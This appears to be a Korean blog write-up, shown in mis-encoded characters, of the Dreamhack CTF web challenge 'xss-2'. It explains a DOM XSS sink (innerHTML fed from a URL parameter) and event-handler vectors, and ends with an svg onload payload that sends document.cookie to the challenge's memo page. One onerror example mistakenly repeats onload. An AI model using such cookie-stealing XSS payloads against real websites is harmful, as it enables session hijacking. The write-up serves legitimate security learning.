๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ

๐Ÿด‍โ˜ ๏ธ CTF ๐Ÿด‍โ˜ ๏ธ/โœˆ๏ธ ์›น โœˆ๏ธ

[Dream Hack - Web] xss-2

๋ฐ˜์‘ํ˜•

๋ฌธ์ œ ํ•ด์„

/vuln ํŽ˜์ด์ง€

xss-1์—์„œ์™€ ๋‹ค๋ฅด๊ฒŒ script ์ฝ”๋“œ๊ฐ€ ๋™์ž‘ํ•˜์ง€ ์•Š๋Š”๋‹ค. /vuln ๋ผ์šฐํ„ฐ๋ฅผ ์‚ดํŽด๋ณด๋‹ˆ vuln.html ํŽ˜์ด์ง€๋ฅผ ๋ Œ๋”๋งํ•˜๊ณ  ์žˆ๋‹ค.

@app.route("/vuln")
def vuln():
    return render_template("vuln.html")
{% block content %}
    <div id='vuln'></div>
    <script>
        var x=new URLSearchParams(location.search); 
        document.getElementById('vuln').innerHTML = x.get('param');
    </script>
{% endblock %}

์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด๋ฉด,

  • location.search ⇒ URL ์ฟผ๋ฆฌ ๋ฌธ์ž์—ด ๋ถ€๋ถ„์„ ๋ฐ˜ํ™˜ํ•œ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, http://example.com?page=1¶m=test์ธ ๊ฒฝ์šฐ location.search๋Š” ?page=1&param=test ๊ฐ€ ๋œ๋‹ค.
  • new URLSearchParams(location.search) ๋Š” ์ด ์ฟผ๋ฆฌ ๋ฌธ์ž์—ด์„ URLSearchParams ๊ฐ์ฒด๋กœ ๋งŒ๋“ ๋‹ค.
  • element.innerHTML ๋Š” Element ๋‚ด ํฌํ•จ๋œ HTML, XML, ๋งˆํฌ์—… ์ •๋ณด๋ฅผ ์ฝ๊ฑฐ๋‚˜ ์“ธ๋•Œ ์‚ฌ์šฉ๋œ๋‹ค. innerHTML ์€ <script> ํƒœ๊ทธ๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ์–ด๋„ <script> ๋ถ€๋ถ„์„ ์‹คํ–‰๋˜์ง€ ์•Š๋„๋ก ์ง€์ •ํ•œ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์•„๋ž˜์˜ ์ฝ”๋“œ๋Š” ์‹คํ–‰์„ ํ•˜๋ฏ€๋กœ ์™„์ „ํžˆ ์•ˆ์ „ํ•˜๋‹ค๊ณ  ๋งํ•  ์ˆ˜ ์—†๋‹ค.

1. onload ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ
์œ ํšจํ•œ ์ด๋ฏธ์ง€ ๋กœ๋“œ ํ›„ onload ํ•ธ๋“ค๋Ÿฌ ์‹คํ–‰ O
<img src="https://example.com/a.jpg" onload="alert()">

์ด๋ฏธ์ง€ ๋กœ๋“œ ์‹คํŒจ ์‹œ onload ํ•ธ๋“ค๋Ÿฌ ์‹คํ–‰ X
<img src=x onload="alert()">

2. onerror ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ
์œ ํšจํ•œ ์ด๋ฏธ์ง€ ๋กœ๋“œ ํ›„ onerror ํ•ธ๋“ค๋Ÿฌ ์‹คํ–‰ X
<img src="https://example.com/a.jpg" onerror="alert()">

์ด๋ฏธ์ง€ ๋กœ๋“œ ์‹คํŒจ ์‹œ onerror ํ•ธ๋“ค๋Ÿฌ ์‹คํ–‰ O
<img src=x onload="alert()">

3. onfocus ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ
input ํƒœ๊ทธ์— ํฌ์ปค์Šค ๋˜๋ฉด onfocus ํ•ธ๋“ค๋Ÿฌ ์‹คํ–‰
autofocus๋กœ ์ž๋™์œผ๋กœ ํฌ์ปค์Šค ์ˆ˜ํ–‰ ๋˜๋Š” URL hash ๋ถ€๋ถ„์— id ์†์„ฑ ๊ฐ’ ์ž…๋ ฅ
(e.g http://example.com/#ID)
<input type="text" id="ID" onfocus="alert()" autofocus>

 

ํ’€์ด ๋ฐฉ๋ฒ•

 

๊ทธ๋Ÿผ xss-1 ์—์„œ ๋ฌธ์ œ๋ฅผ ํ’€์—ˆ๋˜๋Œ€๋กœ, /flag ํŽ˜์ด์ง€์—์„œ ๊ฐ’์„ ์ œ์ถœํ•˜์—ฌ ์ฟ ํ‚ค์— FLAG๋ฅผ ์ €์žฅํ•œ ๋’ค, memo์— ๊ทธ๊ฐ’์„ ์ด์–ด๋ถ™์ผ ์ˆ˜ ์žˆ๋„๋ก ์„ค์ •ํ•˜๋ฉด ๋œ๋‹ค.

<svg/onload="alert(1)"/>

<script> ๋Œ€์‹  ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋„๋ก <svg> ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค.

svg ๋’ค์— / ๋ฅผ ๋„ฃ์–ด self-closing ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•จ์œผ๋กœ์จ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ด ํƒœ๊ทธ๋ฅผ ํŒŒ์‹ฑํ•˜๊ณ , onload ์ด๋ฒคํŠธ๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ํ•œ๋‹ค. ์ด๋Š” ํƒœ๊ทธ๋ฅผ ๊ฐ„๋‹จํ•˜๊ฒŒ ๋‹ซ์œผ๋ฉด์„œ๋„ ๊ณต๊ฒฉ ์ฝ”๋“œ๋ฅผ ์‚ฝ์ž…ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด๋‹ค.

//๊ณต๊ฒฉ๊ตฌ๋ฌธ
<svg/onload=location.href="<http://127.0.0.1:8000/memo?memo=>"+document.cookie/>

 

์ฐธ๊ณ 

Element: innerHTML property - Web APIs | MDN

 

Element: innerHTML property - Web APIs | MDN

The Element property innerHTML gets or sets the HTML or XML markup contained within the element.

developer.mozilla.org

 

๋ฐ˜์‘ํ˜•